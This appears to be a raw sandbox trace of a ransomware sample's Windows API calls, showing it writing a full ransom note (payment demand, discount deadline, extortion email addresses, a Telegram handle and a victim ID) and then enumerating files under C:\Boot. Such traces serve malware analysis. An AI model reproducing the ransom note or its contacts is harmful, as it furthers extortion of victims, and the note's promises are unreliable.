lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.077] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.077] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.077] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.077] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.078] CloseHandle (hObject=0x5c0) returned 1 [0059.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.079] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5388 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.079] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x670000) returned 1 [0059.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x670000) returned 1 [0059.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5978 [0059.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51d0 | out: hHeap=0x670000) returned 1 [0059.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d5a0 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58d8 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5978 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e57e8 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5590 [0059.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0059.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58d8 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52e8 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.081] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.081] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5590 [0059.081] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e0f0 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e57e8 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5978 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51a8 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5838 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bd0 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c48 [0059.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e59f0 [0059.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0059.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x214) returned 0x310a580 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52e8 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58d8 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5720 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5798 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54c8 [0059.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ba8 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", 